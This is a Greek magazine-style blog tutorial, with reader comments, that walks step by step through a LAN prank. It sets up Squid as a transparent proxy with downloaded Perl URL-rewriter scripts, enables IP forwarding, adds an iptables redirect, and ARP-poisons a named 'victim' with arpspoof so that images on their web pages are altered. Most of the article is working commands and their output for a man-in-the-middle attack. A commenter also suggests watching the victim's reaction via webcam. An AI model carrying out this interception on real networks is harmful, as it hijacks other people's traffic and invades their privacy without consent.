Το προφίλ μας στο Google Plus
3

Καθυστερημένη πρωταπριλιά – but with a vengeance!

Μας αρέσει να μαθαίνουμε μέσα από το παιχνίδι και τα σκαλίσματα – κι αυτό δεν είναι μυστικό. Μας αρέσουν επίσης οι πλάκες – κι ούτε κι αυτό είναι μυστικό. Γιατί λοιπόν να μη συνδυάζουμε, όποτε μπορούμε κι έχει νόημα, τα δύο; Έχει άλλωστε αποδειχθεί ότι όποτε το επιχειρούμε *και* καλά περνάμε *και* μαθαίνουμε ένα δυο χρήσιμα πράγματα ;)

Κάτι αιώνες πριν, σ’ ένα παράλληλο σύμπαν, ο σημερινός αρχισυντάκτης του deltaHacker, ο κος sp1r@l ev0lut10n, μάς έδειχνε μέσα από τις σελίδες ενός “άλλου περιοδικού” πώς μπορούμε ν’ αλλάζουμε εντελώς την εμπειρία web surfing ενός χρήστη του LAN, κάνοντάς τον να βλέπει τις εικόνες στις διάφορες ιστοσελίδες από λίγο έως δραματικά αλλαγμένες. Λίγες βδομάδες πριν, στο ίδιο παράλληλο σύμπαν, ένα Σαββατιάτικο μεσημέρι που ο γράφων σέρφαρε αδιάφορα και σκεφτόταν ότι κακώς δεν είχε κάποιο άρθρο-φάρσα στο ίδιο “άλλο περιοδικό”, πέρασε κι από το site ενός παλιού γνώριμου, του g0tmi1k.

Τώρα, για να λέμε τα πράγματα με τ’ όνομά τους, γύρω από τη λέξη “γνώριμος” θα έπρεπε να βάλουμε εισαγωγικά, μιας και ποτέ δεν έχουμε γνωρίσει τον άνθρωπο in person. Μας έχει όμως δώσει πολύ καλές ιδέες για άρθρα και φυσικά μας έχει μάθει αρκετά ενδιαφέροντα πράγματα, όπως, π.χ., φάνηκε από τη θεματολογία ενός προηγούμενου τεύχους του “άλλου περιοδικού”. Να λοιπόν γιατί παίρνουμε το ελεύθερο να τον αποκαλούμε “άνθρωπό μας”. Ο g0tmi1k, που λέτε, εκείνο το Σαββατιάτικο μεσημέρι έδωσε στο γράφοντα την ιδέα να δει ξανά πώς είναι δυνατόν ν’ αλλοιωθεί η εμπειρία χρήσης του web για έναν συγκεκριμένο χρήστη του LAN. Αν και η προσέγγιση του g0tmi1k δεν είναι επαναστατική, ομολογούμε ότι μας άρεσε ιδιαίτερα. Ίσως διότι προσφέρει στον ενδιαφερόμενο μιας πρώτης τάξεως ευκαιρία να παίξει με το BackTrack Linux, το διακομιστή μεσολάβησης Squid και την τεχνική του ARP poisoning. Επιπρόσθετα, όσοι θέλουν να πάνε λίγο παραπέρα θα παίξουν και με τη σκριπτογλώσσα Perl, αποκτώντας ίσως ένα καλό έρεισμα για ν’ ασχοληθούν περισσότερο μαζί της. Όλα καλά, διασκεδαστικά και χρήσιμα, λοιπόν, επομένως μια και δυο αρχίσαμε το παιχνίδι. Αυτό το άρθρο είναι η περιγραφή όλων όσων είδαμε και κάναμε. Κατά τα αναμενόμενα, έχει τη μορφή αναλυτικού, βήμα προς βήμα οδηγού. Η μόνη προαπαίτηση για να τον ακολουθήσετε κι εσείς είναι να έχετε το BackTrack Linux ήδη εγκατεστημένο, σε φυσικό ή εικονικό υπολογιστή.

Επεισοδιακό web surfing, για πλάκα και γνώση!
Χωρίζουμε τη δουλειά μας σε βήματα, ώστε να είναι ευκολότερα κατανοητό το τι κάνουμε.

Βήμα 1. Ξεκινάμε το BackTrack Linux, κάνουμε login ως root κι ενεργοποιούμε τη δικτύωση:

root@bt:~# start-network
Starting Network connection manager: wicd.

root@bt:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:93:26:40
          inet addr:192.168.1.6  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe93:2640/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:115 errors:109 dropped:0 overruns:0 frame:0
          TX packets:22 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:20995 (20.9 KB)  TX bytes:2868 (2.8 KB)
          Interrupt:19 Base address:0x2024
...

Όπως βλέπετε, το δικό μας box πήρε ως διεύθυνση IP το 192.168.1.6. Τη σημειώνουμε κάπου, αφού σε λίγο θα τη χρειαστούμε. Αμέσως μετά σηκώνουμε το περιβάλλον γραφικών του BackTrack μ’ ένα

root@bt:~# startx &

Βήμα 2. Ανοίγουμε μια κονσόλα κι εγκαθιστούμε ορισμένα εργαλεία και βιβλιοθήκες τα οποία χρειάζονται τα Perl scripts που θα δώσουμε σε λίγο στο Squid, προκειμένου ν’ αλλάζουμε το τι βλέπει το θύμα καθώς σερφάρει στο web:

root@bt:~# apt-get -y install imagemagick ghostscript jp2a
Reading package lists... Done
Building dependency tree
Reading state information... Done
imagemagick is already the newest version.
imagemagick set to manually installed.
ghostscript is already the newest version.
ghostscript set to manually installed.
The following NEW packages will be installed:
  jp2a
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 24.8kB of archives.
After this operation, 106kB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe jp2a 1.0.6-2 [24.8kB]
Fetched 24.8kB in 0s (27.0kB/s)
Selecting previously deselected package jp2a.
(Reading database ... 257540 files and directories currently installed.)
Unpacking jp2a (from .../archives/jp2a_1.0.6-2_i386.deb) ...
Processing triggers for man-db ...
Setting up jp2a (1.0.6-2) ...

(Δώσαμε στο apt-get την παράμετρο -y επειδή στις όποιες ερωτήσεις απευθύνει το πρόγραμμα σκοπεύουμε ν’ απαντήσουμε θετικά, επομένως δεν υπάρχει λόγος να γίνονται παύσεις για τη συγκατάθεσή μας). Τώρα, προκειμένου να πετύχουμε το στόχο μας χρειαζόμαστε το δημοφιλέστατο διακομιστή μεσολάβησης (web proxy) με όνομα Squid:

root@bt:~# apt-get -y install squid3
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  squid3-common
Suggested packages:
  squidclient squid3-cgi resolvconf
The following NEW packages will be installed:
  squid3 squid3-common
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 1098kB of archives.
After this operation, 7266kB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe squid3-common 3.0.STABLE7-1ubuntu1 [225kB]
Get:2 http://archive.offensive-security.com pwnsauce/universe squid3 3.0.STABLE7-1ubuntu1 [873kB]
Fetched 1098kB in 2s (527kB/s)
Selecting previously deselected package squid3-common.
Unpacking squid3-common (from .../squid3-common_3.0.STABLE7-1ubuntu1_all.deb) ...
Selecting previously deselected package squid3.
Unpacking squid3 (from .../squid3_3.0.STABLE7-1ubuntu1_i386.deb) ...
Processing triggers for man-db ...
Setting up squid3-common (3.0.STABLE7-1ubuntu1) ...
Setting up squid3 (3.0.STABLE7-1ubuntu1) ...
Creating Squid HTTP proxy 3.0 spool directory structure
2011/04/10 10:05:44| Creating Swap Directories
2011/04/10 10:05:44| /var/spool/squid3 exists
2011/04/10 10:05:44| Making directories in /var/spool/squid3/00
...
2011/04/10 10:05:44| Making directories in /var/spool/squid3/0F
Restarting Squid HTTP Proxy 3.0: squid3.

Πολύ ωραία, το Squid είν’ εδώ. Δεν θέλουμε όμως να ξεκινά αυτόματα με την εκκίνηση του BackTrack Linux, μιας και σε μια τέτοια διανομή είναι μάλλον απίθανο να το χρειαζόμαστε σε καθημερινή βάση:

root@bt:~# update-rc.d -f squid3 remove
 Removing any system startup links for /etc/init.d/squid3 ...
   /etc/rc0.d/K30squid3
   /etc/rc1.d/K30squid3
   /etc/rc2.d/S30squid3
   /etc/rc3.d/S30squid3
   /etc/rc4.d/S30squid3
   /etc/rc5.d/S30squid3
   /etc/rc6.d/K30squid3

Βήμα 3. Πρέπει τώρα να τροποποιήσουμε κατάλληλα το αρχείο ρυθμίσεων του Squid, το οποίο είναι το /etc/squid3/squid.conf. Για τη δουλειά αυτή μας κάνει ένας οποιοσδήποτε text editor. Μιας και βρισκόμαστε στο περιβάλλον του KDE, μια άριστη επιλογή είναι το Kate:

root@bt:~# kate /etc/squid3/squid.conf

Εικόνα 1: Ένας εξαιρετικός text editor για το KDE είναι το Kate. Από τα 12.954 χρήσιμα χαρακτηριστικά του είναι ότι επιτρέπει την άμεση μετάβαση σε συγκεκριμένη γραμμή του υπό επεξεργασία αρχείου.

Οι αλλαγές που οφείλουμε να κάνουμε στο /etc/squid3/squid.conf γίνονται στις ακόλουθες γραμμές.

Γραμμή 588

acl localnet src 192.168.1.0/24 # RFC1918 possible internal network

Φυσικά, εσείς θα βάλετε τη μορφή διευθύνσεων IP που είναι κατάλληλη για το δικό σας τοπικό δίκτυο (Αν, π.χ., οι διευθύνσεις που έχουν τα μηχανήματα στο LAN σας είναι της μορφής 192.168.0.* τότε θα βάλετε 192.168.0.0/24 κ.ο.κ.)

Γραμμή 644

#http_access allow localnet

Σβήνουμε το χαρακτήρα # στ’ αριστερά της γραμμής, επομένως ενεργοποιούμε τη σχετική οδηγία. Μ’ αυτή και την προηγούμενη τροποποίηση ουσιαστικά περιγράφουμε το τοπικό μας δίκτυο και λέμε στο Squid να δέχεται αιτήσεις πελατών μέσα απ’ αυτό.

Γραμμή 868

http_port 3128 transparent

Με την οδηγία “transparent” που μόλις προσθέσαμε δεν χρειάζεται να ενημερώνονται οι πελάτες του Squid για την παρουσία του διακομιστή μεσολάβησης. Ουσιαστικά, οι web browser στα μηχανήματα του LAN θα ‘ναι πλέον δυνατόν να χρησιμοποιούν τον proxy αυτόματα – αρκεί το BackTrack να λειτουργεί ως router γι’ αυτά. Αλλά ας μην προτρέχουμε :)

Μετά την τελευταία γραμμή του αρχείου squid.conf

url_rewrite_program /root/prank/asciiImages.pl

Κάθε URL που δέχεται το Squid του λέμε να το περνάει μέσα από το προκαθορισμένο φίλτρο. Στη συγκεκριμένη περίπτωση τα φίλτρα που ορίζουμε εδώ είναι προγράμματα σε Perl τα οποία αλλάζουν τα πρωτότυπα URL ώστε να δείχνουν σε εκδοχές πόρων (π.χ., αρχεία εικόνων) που σε αντίθεση με τους πρωτότυπους σερβίρονται από τον τοπικό web sever του BackTrack. Λίγο γενικό αυτό, ε; Πράγματι, είναι. Αν όμως δούμε τι κάνει το φίλτρο asciiImages.pl θα καταλάβουμε καλύτερα. Πρακτικά, βασική αποστολή του προγράμματος είναι να παίρνει μια κανονική εικόνα και να τη μετατρέπει σε μορφή ASCII art. Αυτό το κάνει για κάθε εικόνα που περιλαμβάνεται σε μια οποιαδήποτε ιστοσελίδα που ζητά ένας πελάτης (web browser) και του τη σερβίρει το Squid. Αναλυτικότερα, μετά τη σχετική αίτηση ενός web browser το Squid ζητά την εικόνα από τον πρωτότυπο δικτυακό τόπο, την παίρνει αλλά αφού τη δώσει στο ascciImages.pl τελικά τη σερβίρει από τον Apache web server του BackTrack. Φυσικά, το Perl script αλλάξει αφενός τις πρωτότυπες εικόνες που περιλαμβάνει, αφετέρου και τα πρωτότυπα URL τους! Σε πολύ λίγο θα κατεβάσουμε το asciiImages.pl μαζί με μια σειρά από άλλα προγραμματάκια και θα τα αποθηκεύσουμε στον κατάλογο /root/prank. Όποτε θέλουμε θα μπορούμε να τροποποιούμε το squid.conf ώστε να χρησιμοποιεί άλλο προγραμματάκι. Μετά από επανεκκίνηση του Squid η εμπειρία χρήσης του web για το επιλεγμένο θύμα θ’ αλλάζει δραματικά!

Προς το παρόν αποθηκεύουμε τις αλλαγές στο squid.conf και κλείνουμε το Kate.

Βήμα 4. Τα scripts που προτείνει ο g0tmi1k για χρήση με το Squid τα μοιράζει από την υπηρεσία MediaFire και συγκεκριμένα από τη διεύθυνση

http://www.mediafire.com/?fp9a1j9mxtr1xx8

Εναλλακτικά, το σχετικό ZIP file μπορείτε να το κατεβάσετε με μια κίνηση κι από τη διεύθυνση http://bit.ly/squidScripts:

root@bt:~# wget http://bit.ly/squidScripts

Αφού πάρουμε το αρχείο squidScripts.zip το αποσυμπιέζουμε και μεταφέρουμε όλα τα Perl scripts που περιέχει σ’ έναν κατάλογο με όνομα prank, μέσα στο γονικό του χρήστη root, τα κάνουμε κι εκτελέσιμα:

root@bt:~# unzip squidScripts.zip
root@bt:~# mkdir ~/prank
root@bt:~# cp squidScripts/*.pl ~/prank
root@bt:~# chmod 755 ~/prank/*

Υπάρχουν τώρα μερικά αρχεία μέσα στον κατάλογο squidScripts/www, τα οποία κατά περίπτωση σερβίρονται από τον τοπικό web server στο θύμα. Τα αρχεία αυτά πρέπει να βρίσκονται μέσα στον κατάλογο /var/www/tmp:

root@bt:~# mkdir /var/www/tmp
root@bt:~# cp squidScripts/www/* /var/www/tmp/

Φροντίζουμε, τέλος, για τις ιδιότητες και το ιδιοκτησιακό καθεστώς του καταλόγου /var/www/tmp:

root@bt:~# chown nobody:nogroup /var/www/tmp
root@bt:~# chmod 777 /var/www/tmp

Βήμα 5. Προηγουμένως, όταν πειράξαμε το αρχείο ρυθμίσεων squid.conf, ως URL rewriter επιλέξαμε το asciiImages.pl. Το συγκεκριμένο script, καθώς και άλλα μέσα στον κατάλογο ~/prank, πριν τα χρησιμοποιήσουμε για πρώτη φορά οφείλουμε να τ’ ανοίξουμε μ’ έναν text editor όπως το Kate και να τροποποιήσουμε ελαφρώς. Ουσιαστικά, το μόνο που θα κάνουμε είναι ν’ αναθέσουμε στη μεταβλητή ourIP την αριθμητική διεύθυνση του BackTrack μας. Το δικό μας μηχανάκι είχε διεύθυνση 192.168.1.6, εσείς βάλτε την κατάλληλη για το δικό σας.

Βήμα 6. Ξεκινάμε τον web server μας (Apache)

root@bt:~# /etc/init.d/apache2 start
Starting web server:
apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

κι αμέσως μετά επανεκκινούμε τον web proxy (Squid), ώστε να ληφθούν υπόψη οι αλλαγές στο /etc/squid3/squid.conf:

root@bt:~# /etc/init.d/squid3 restart
Restarting Squid HTTP Proxy 3.0: squid3 Waiting................done.

Βήμα 7. Καταφεύγοντας στην τεχνική του ARP poisoning σε λίγο θα παρεμβάλλουμε το BackTrack box μεταξύ του υπολογιστή του θύματος και του router του τοπικού δικτύου. Κατ’ αυτόν τον τρόπο θα διαχειριζόμαστε όλη τη δικτυακή κίνηση του θύματος, κάνοντας ένα σωρό ενδιαφέροντα πράγματα. Πρακτικά ο υπολογιστής μας θα ‘ναι ο νέος router για το θύμα, όμως για να συμβεί αυτό πρέπει να ενημερώσουμε κατάλληλα τον πυρήνα του Linux:

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Πολύ ωραία. Θέλουμε επιπρόσθετα να περνάμε όλο το HTTP traffic του θύματος μέσα από το Squid, οπότε χρειαζόμαστε και τον κατάλληλο κανόνα για το iptables:

root@bt:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 3128

(το 3128 είναι το port το οποίο εξ ορισμού χρησιμοποιεί το Squid). Τέλεια.

Βήμα 8. Με την προϋπόθεση ότι το IP του θύματος είναι 192.168.1.10 κι εκείνο του router 192.168.1.1, ξεκινάμε το ARP poisoning ως ακολούθως:

root@bt:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
0:c:29:93:26:40 0:50:56:30:f0:38 0806 42: arp reply 192.168.1.1 is-at 0:c:29:93:26:40
0:c:29:93:26:40 0:50:56:30:f0:38 0806 42: arp reply 192.168.1.1 is-at 0:c:29:93:26:40
...

Η συνέχεια
Αναλόγως του URL rewriter που χρησιμοποιούμε, το θύμα μας έχει διαφορετική εμπειρία από το web. Μερικά απ’ όσα είναι πιθανό να βιώσει φαίνονται στα αντίστοιχα screenshots. Ανά πάσα στιγμή μπορούμε ν’ αλλάζουμε URL rewriter και η σωστή σειρά των βημάτων που πρέπει ν’ ακολουθούμε είναι η ακόλουθη:

-> σταματάμε το ARP poisoning
-> τροποποιούμε κατάλληλα το /etc/squid3/squid.conf
-> τροποποιούμε, αν χρειάζεται, το αντίστοιχο Perl script
-> επανεκκινούμε το Squid
-> ξεκινάμε και πάλι το ARP poisoning

Καλή συνέχεια και καλή διασκέδαση – αλλά προσοχή: Άλλο η αθώα πλάκα, εντελώς άλλο η κακόβουλη.

Εικόνα 2: Κάτι από το παρελθόν έχει σήμερα το Flickr...

Εικόνα 3: ...και όχι μόνο το Flickr! Να πρόκειται άραγε για καθυστερημένη πρωταπριλιάτικη φάρσα; Αν ναι, τότε σίγουρα πρόκειται για εξαιρετικά καλοστημένη φάρσα :S

Εικόνα 4: Και ξαφνικά επιστρέφουμε στο παρόν αλλά...

Εικόνα 5: ...όλα δείχνουν θολά. Υπάρχει άραγε κάποιος κρυμμένος συμβολισμός εδώ;

Εικόνα 6: Και μιας και μιλήσαμε για συμβολισμούς, γιατί όλα δείχνουν να 'χουν έλθει τα πάνω κάτω;

Εικόνα 7: Αχά! Εδώ όλα είναι κανονικά - ή μήπως όχι;!

Εικόνα 8: Τι έγινε, παιδιά; Το Internet είναι κλειστό σήμερα;! Κι ευθύνεται η φάλαινα του twitter γι' αυτό;! ΦΡΙΚΗ ΚΑΙ ΑΙΣΧΟΣ!

3 Responses to “Καθυστερημένη πρωταπριλιά – but with a vengeance!”

  1. sigma | 28/09/2011 at 01:26

    καποιος θα βγαλει γουστα….
    το κακο ομως σε τετοιες φαρσες ειναι οτι δεν βλεπεις αντιδρασεις. Σκεφτειτε για την webcam :D

    • subZraw | 28/09/2011 at 08:48

      Χμ, αναλόγως του χώρου είναι πιθανό να βλέπεις *και* τις αντιδράσεις του χρήστη-στόχου. Σου μιλάω εκ πείρας :)

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων